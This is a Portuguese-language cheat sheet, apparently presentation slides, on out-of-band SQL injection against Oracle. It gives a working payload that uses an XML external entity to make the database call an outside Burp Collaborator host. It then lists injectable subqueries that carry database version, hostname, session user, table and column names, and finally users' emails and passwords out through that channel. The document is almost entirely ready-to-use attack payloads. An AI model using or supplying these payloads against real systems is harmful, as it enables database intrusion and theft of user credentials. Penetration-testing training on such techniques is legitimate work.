OOB SQL Injection

ORACLE - Cheat Sheet

Out-Of-Band SQLi - ORACLE

Vamos supor que verificamos uma interação externa / out-of-band após injetarmos o payload abaixo (sem o "QUERY") no parametro request_param. Assim sendo, podemos agora repetir o ataque, mas adicionando uma query SQL no campo QUERY abaixo identificado, para extrair informação do Banco de dados. Os slides seguintes, mostram as diferentes queries que podem ser usadas em bancos de dados ORACLE para extrair informação do banco de dados.

```
request_param= '(select extractvalue(
        xmltype('
                <?xml version="1.0" encoding="UTF-8"?>
                <!DOCTYPE root [
                        <!ENTITY % kycbq SYSTEM "http://QUERY.burpcollab'||'orator.net/">
                %kycbq;]>'
        ),'/1') from dual
)
```

Out-Of-Band SQLi - ORACLE

Queries Simples / Iniciais

--> Retornar versão da BD
'||(SELECT version FROM v$instance)||'

--> Retornar versão da BD em Hexadecimal
'||(SELECT rawtohex(version) FROM v$instance)||'

--> Retornar hostname
'||(SELECT host_name FROM v$instance)||'

--> Retornar hostname
'||(SELECT sys_context('userenv','server_host') FROM dual)||'

--> Retornar nome do banco de dados da aplicação
'||(SELECT sys_context('userenv','instance_name') FROM dual)||'

--> Retornar nome do Usuarios ligado à DB
'||(SELECT sys_context('userenv','session_user') FROM dual)||'

Out-Of-Band SQLi - ORACLE

Descobrir Nome Tabelas do Banco de Dados

--> Retornar nome da 1ª tabela do banco de dados da aplicação web vulnerável:
'||(SELECT table_name FROM (SELECT ROWNUM as r, table_name FROM user_tables) WHERE r = 1)||'

--> Retornar nome da 2ª tabela do banco de dados da aplicação web vulnerável:
'||(SELECT table_name FROM (SELECT ROWNUM as r, table_name FROM user_tables) WHERE r = 2)||'

Out-Of-Band SQLi - ORACLE

Descobrir Nome das Colunas da Tabela “Usuarios” do Banco de Dados

--> Retornar nome da 1ª coluna da tabela “Usuarios” do banco de dados da aplicação web vulnerável:

```
'||(SELECT column_name FROM (SELECT ROWNUM as r, column_name FROM user_tab_cols WHERE table_name='Usuarios') WHERE r = 1)||'
```

--> Retornar nome da 2ª coluna da tabela “Usuarios” do banco de dados da aplicação web vulnerável:

```
'||(SELECT column_name FROM (SELECT ROWNUM as r, column_name FROM user_tab_cols WHERE table_name='Usuarios') WHERE r = 2)||'
```

Out-Of-Band SQLi - ORACLE

Extrair as Colunas “email” e “password” da Tabela “Usuarios” do Banco de Dados

--> Retornar o 1º email da tabela Usuarios. É necessário enviar o resultado em hexadecimal por causa dos caracteres especiais como o ‘@’, que criam um erro quando são concatenados a um subdomínio para fazer uma requisição http ou DNS.

```
'||(SELECT data FROM (SELECT ROWNUM as r, rawtohex(EMAIL) as data FROM Usuarios) WHERE r = 1)||'
```

--> Retornar a 1ª password da tabela Usuarios.

```
'||(SELECT data FROM (SELECT ROWNUM as r, rawtohex(PASSWORD) as data FROM Usuarios) WHERE r = 1)||'
```

--> Retornar 1º email e password da tabela Usuarios, concatenados:

```
'||(SELECT data FROM (SELECT ROWNUM as r, CONCAT(CONCAT(rawtohex(EMAIL),'--'),rawtohex(PASSWORD)) as data FROM Usuarios) WHERE r = 1)||'
```